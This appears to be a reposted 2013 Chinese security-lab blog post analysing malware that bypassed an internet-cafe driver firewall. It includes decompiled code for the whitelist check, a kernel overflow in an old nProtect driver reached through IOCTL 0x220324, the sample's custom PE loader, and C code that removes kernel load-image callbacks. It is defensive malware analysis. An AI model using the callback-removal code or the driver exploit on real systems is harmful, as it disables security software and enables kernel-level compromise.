某恶意样本绕过驱动防火墙机制分析学习

技术 作者:冷鹰 2013-12-19 13:39:25
by bingle of code audit labs of vulnhunt.com url:http://blog.vulnhunt.com/index.php/2013/12/18/bypass_icafee_analysis/ 这两天,一网吧的朋友向翰海源求助,说他们网吧装了多为网维大师被穿透了,被人中了很多木马,还造成了一定的损失。根据几天的分析,基本弄清楚攻击/绕过的原理,与大家一起分享下。 恶意样本b0005是针对网吧发起攻击的程序。现在网吧中的防护软件,多为网维大师。网维大师具有更新游戏、重启还原等功能。由于网维大师对驱动的防护是通过白名单来实现的,白名单中对驱动才会被放行允许加载。而第三方的白名单驱动存在漏洞,将导致网维大师的驱动防火墙被绕过,使得网吧系统不再安全。 一、 网维大师驱动防火墙的实现原理
网维大师的驱动防火墙实现,不是在NtLoadDriver乃至更底层函数IopLoadDriver上实现的,而是通过内核函数PsSetLoadImageNotifyRoutine安装模块加载回调实现的,在白名单中,就放行。否则,修改内核入口代码,直接返回。白名单的结构是:
+0  nCounts     //白名单驱动数据
+4  fileSize_0      //白名单驱动0
+0x14   fileMd5_0
+0x18   fileSize_1
+0x28   fileMd5_1
以此类推。整个白名单驱动数目是0×4e0项。具体实现如下:
int __stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint(stUnicodeString *puniImageName, int ProcessId, stImageInfo *pstImageInfo)
{
int result; // eax@1
int v4; // edx@2
__int16 v5; // di@2
int v6; // eax@2
int v8; // eax@7
int v9; // esi@8
unsigned int v10; // esi@22
int v11; // eax@22
int v12; // edx@22
int v13; // ecx@22
int v14; // esi@26
int v15; // eax@26
int v16; // edx@26
int v17; // eax@28
int v18; // edx@28
int v19; // [sp+Ch] [bp-20h]@1
unsigned int iNum; // [sp+10h] [bp-1Ch]@8
char irql; // [sp+16h] [bp-16h]@7
char bNonInMd5List; // [sp+17h] [bp-15h]@2
stMd5CalcResult md5Result; // [sp+18h] [bp-14h]@1
unsigned int v24; // [sp+28h] [bp-4h]@1
int v25; // [sp+2Ch] [bp+0h]@1

v24 = (unsigned int)&v25 ^ (unsigned int)off_8220121C;
v19 = 0;
result = 0;
md5Result.md5_part1 = 0;
md5Result.md5_part2 = 0;
md5Result.md5_part3 = 0;
md5Result.md5_part4 = 0;
if ( !(dword_822012A4 & 1) )
return result;
bNonInMd5List = 1;
v5 = dump_CompareBinData((int)&v24, puniImageName, pstImageInfo->ImageBase);
v6 = 0xFFFFu;
if ( 0xFFFFu == v5 )
{
v6 = dump_calcBinMd5(puniImageName, &md5Result);//计算md5
v19 = v6;
if ( !v6 )
{
bNonInMd5List = 1;
v5 = 1;
goto LABEL_22;
}
irql = g_KfAcquireSpinLock(v6, v4, 0x82201290u);
v8 = dword_822012AC;
if ( dword_822012AC )
{
iNum = 0;
v9 = dword_822012AC + 5;
if ( *(_DWORD *)(dword_822012AC + 1) )
{
do
{
if ( v19 == *(_DWORD *)v9 ) //比较文件大小
{
v8 = g_RtlCompareMemory(v9 + 4, &md5Result, 0x10u);// md5值比对
if ( v8 == 0x10 )
{
bNonInMd5List = 0;
v5 = 0;
break;
}
v8 = dword_822012AC;
}
v9 += 0x14u;    //每一项长度为0x14
++iNum;
}
while ( iNum < *(_DWORD *)(v8 + 1) );
}
}
LOBYTE(v4) = irql;
v6 = g_KfReleaseSpinLock(v8, v4, 0x82201290u);
if ( bNonInMd5List != 1 || !(dword_822012A4 & 2) )
goto LABEL_22;
v6 = sub_821F8E56(puniImageName);
if ( v6 && v6 != 1 )
{
v5 = 0;
goto LABEL_22;
}
v5 = 1;
}
else
{
bNonInMd5List = 1;      //不在白名单中
if ( v5 != 4 )
goto LABEL_22;
v5 = 2;
}
bNonInMd5List = 0;
LABEL_22:
v10 = 0;
v11 = g_KfAcquireSpinLock(v6, v4, 0x82201290u);
v13 = dword_822012E8;
while ( v13 )
{
v13 = *(_DWORD *)v13;
++v10;
}
LOBYTE(v12) = v11;
result = g_KfReleaseSpinLock(v11, v12, 0x82201290u);
if ( v10 length + 48, 'BLST');
((void (__cdecl *)(int, _DWORD, int))dump_memset)(v14, 0, puniImageName->length + 48);
*(_DWORD *)(v14 + 4) = puniImageName->length + 0x30;
*(_BYTE *)(v14 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = bNonInMd5List;
*(_WORD *)(v14 + 10) = v5;
*(_BYTE *)(v14 + 9) = 0;
g_memmove(v14 + 44, puniImageName->buf, puniImageName->length + 2);
*(_WORD *)(v14 + 2 * ((unsigned int)puniImageName->length >> 1) + 44) = 0;
g_KeQuerySystemTime(v14 + 0x24);
*(_DWORD *)(v14 + 12) = v19;
v15 = g_memmove(v14 + 16, &md5Result, 16);
if ( dword_822012A4 & 4 )
v15 = sub_821F8A3C((char)puniImageName, (int)puniImageName, (char *)(v14 + 12), 0, v14 + 32);
v17 = g_KfAcquireSpinLock(v15, v16, 0x82201290u);
*(_DWORD *)v14 = dword_822012E8;
LOBYTE(v18) = v17;
dword_822012E8 = v14;
result = g_KfReleaseSpinLock(v17, v18, 0x82201290u);
}
if ( bNonInMd5List )        //如果不在白名单表中,将驱动的入口点改为0xc3,也就是ret
result = dump_PatchDriverEntryPoint(pstImageInfo->ImageBase);
return result;
}
二、白名单存在安全问题的驱动分析
网维大师的驱动白名单多为游戏保护的驱动,很多游戏保护的驱动存在安全的问题。样本b0005使用的是nPotect的一个老驱动npDrv.sys,该文件的详细信息如下: 驱动npDrv在处理用户传入的控制码0×220324的对应的数据时,没有对用户传入数据的长度做判断进行拷贝操作,导致内核缓冲区溢出。出现问题的代码如下:
signed int __stdcall np_DeviceControl(PDEVICE_OBJECT a1, PIRP a2)
{
//部分变量声明省略
v33 = 0;
pIrlLocal = a2;
memset(&v34, 0, 0x24u);
v35 = 0;
pIoStackLocation_local = (PIO_STACK_LOCATION)a2->Tail.Overlay.CurrentStackLocation;
v4 = 2228712;
v36 = 0;
a2 = (PIRP)pIoStackLocation_local;
v5 = (unsigned int)pIoStackLocation_local->Parameters.DeviceControl.Argument3; //得到ioctlcode
if ( v5 > 0x2201E8 )
{
if ( v5 > 0x2203F4 )
{
v30 = v5 - 0x2203F8;
if ( !v30 )     //0x2203f8
{
sub_11AF8(a1, pIrlLocal);
return v36;
}
v31 = v30 - 6;
if ( !v31 ) // 0x2203FE
{
sub_11B62(a1, pIrlLocal);
return v36;
}
if ( v31 == 4 ) //0x220402
{
sub_11B87(a1, pIrlLocal);
return v36;
}
return 0xC000000Du;
}
if ( v5 == 0x2203F4 ) //0x2203f4
{
sub_11B68(a1, pIrlLocal);
return v36;
}
v23 = v5 - 2228748;
if ( !v23 )  //0x22020C
{
dword_1461C = *(_DWORD *)pIrlLocal->AssociatedIrp.MasterIrp;
return v36;
}
v24 = v23 - 0x118;
if ( !v24 )     //0x220324
return np_XXX(pIrlLocal, pIoStackLocation_local);  //出现问题的控制码处理函数
v25 = v24 - 160;
if ( v25 )
{
if ( v25 == 46 )
{
v26 = pIrlLocal->MdlAddress;
a1 = (PDEVICE_OBJECT)1026;
if ( v26->MdlFlags & 5 )
v12 = v26->MappedSystemVa;
else
v12 = MmMapLockedPages(v26, 0);
v17 = pIoStackLocation_local->Parameters.DeviceControl.Argument1;
v16 = &a1;
goto LABEL_55;
}
return 0xC000000Du;
}
//部分伪代码省略
return v36;
}
继续跟踪np_XXX函数,如下:
unsigned int __stdcall np_XXX(PIRP pIrp_param, PIO_STACK_LOCATION pIoStackLocation_param)
{
unsigned int v2; // ebx@1
int v4; // [sp+Ch] [bp-8h]@1
HANDLE Handle; // [sp+10h] [bp-4h]@1

v4 = 0;
v2 = 0;
Handle = 0;
memcpy(
&v4,
pIrp_param->AssociatedIrp.MasterIrp,
(unsigned int)pIoStackLocation_param->Parameters.DeviceControl.Argument2);   //拷贝时,没有检测用户传入的数据的长度,直接拷贝到v4当中,导致内核缓冲区溢出,覆盖返回值。
if ( v4 == 1 )
ObReferenceObjectByHandle(Handle, 0, 0, 1, &Object, 0);
else
v2 = 0xC0000001u;
return v2;
}
三、 样本绕过网维驱动防火墙分析
样本b0005加了tmd壳,对关键函数分析得知。样本首先通过服务加载存在安全漏洞的驱动npDrv.sys,通过DeviceIoControl发送0×220324到内核,同时,溢出触发后,讲eip指向用户空间的一个函数地址,该函数代码经过变形处理,该函数的主要功能是自己实现加载pe的过程。由于运行的irql为0环,所以,加载的是穿网维还原的内核驱动。 1) 自己实现pe load过程,具体过程如下:
int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0)
{
int result; // eax@4
unsigned int sectionCounts; // [sp+0h] [bp-14h]@5
struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5
int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5
unsigned int i; // [sp+Ch] [bp-8h]@9
PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1

pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders);
if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 )
{
ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase;
sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders);
pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders);
if ( (unsigned __int8)g_addr_0x402990(
(DWORD *)&ImageBase_or_pBufAddr,
pNTHeaders->OptionalHeader.SizeOfImage,
pSectionHeaderStart,
sectionCounts,
0) )
{
if ( ImageBase_or_pBufAddr )
{
b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders);
for ( i = 0; i < sectionCounts; ++i )
b005_copy_binData(
pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr,
(IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData),
pSectionHeaderStart[i].SizeOfRawData);
b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr);
if ( !b005_Fixup_ImportTable(
(PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr,
(int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) )
{
g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1);
ImageBase_or_pBufAddr = 0;
}
result = ImageBase_or_pBufAddr;
}
else
{
result = 0;
}
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}
2) 通过摘除回调使驱动防火墙失效 该样本变种,使用的是摘除内核LoageImageNotifyRoutine的回调过程,实现如下,
#pragma pack(1)
typedef struct _EX_FAST_REF
{
union
{
PVOID Object;
ULONG_PTR RefCnt:3;
ULONG_PTR Value;
};
} EX_FAST_REF, *PEX_FAST_REF;

typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function;
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
#pragma pack()

// PspLoadImageNotifyRoutine数组大小
#define PSP_MAX_LOAD_IMAGE_NOTIFY           8

// 系统PspLoadImageNotifyRoutine变量位置
PULONG g_PspLoadImageNotifyRoutine = NULL;

// 根据特征码查找PspLoadImageNotifyRoutine数组的起始地址
PULONG FindPspLoadImageNotifyRoutine( PUCHAR FuncBase )
{
ULONG nIndex;
PULONG result = NULL;

// 查找ing
for ( nIndex = 0; nIndex < 512; ++nIndex )
{
// 比较头部(这里的0x56和0xbe是特征码)
if ( (*(UCHAR*)FuncBase == 0x56) && (*(UCHAR*)(FuncBase + 1)  == 0xbe) )  //特征码查找
{
// 保存地址并返回
result = *(PULONG)(FuncBase + 2);
break;
}

// 继续遍历
++FuncBase;
}

return result;
}

// 检测并挂钩NP的回调函数
VOID RemoveLoadImageCallBack()
{
PEX_FAST_REF ExRef;
ULONG nIndex;
NTSTATUS status;

ExRef = (PEX_FAST_REF)(g_PspLoadImageNotifyRoutine);
for ( nIndex = 0; nIndex Value & ~7);      // 详见WRK
if ( MmIsAddressValid((PVOID)Point) )
{
// 移除注册的回调函数
status = PsRemoveLoadImageNotifyRoutine( Point->Function );//摘除该回调过程
if ( NT_SUCCESS(status) )
{
KdPrint(("remove LoadImage notify success: %d.\n", nIndex));
}
}
++ExRef;
}
}
摘除后,网维大师不再对驱动加载进行拦截。 四、 样本b0005穿还原的方式
样本b0005穿还原的方式,加载穿还原的机器狗驱动,通过dll劫持,替换lpk.dll为大小相近的fake_lpk.dll实现,达到重启后网吧电脑重启后,得到再次运行的机会,从而常驻网吧电脑。 五、 还有什么
没什么了,顺便吼一下, 亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。 –EOF

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接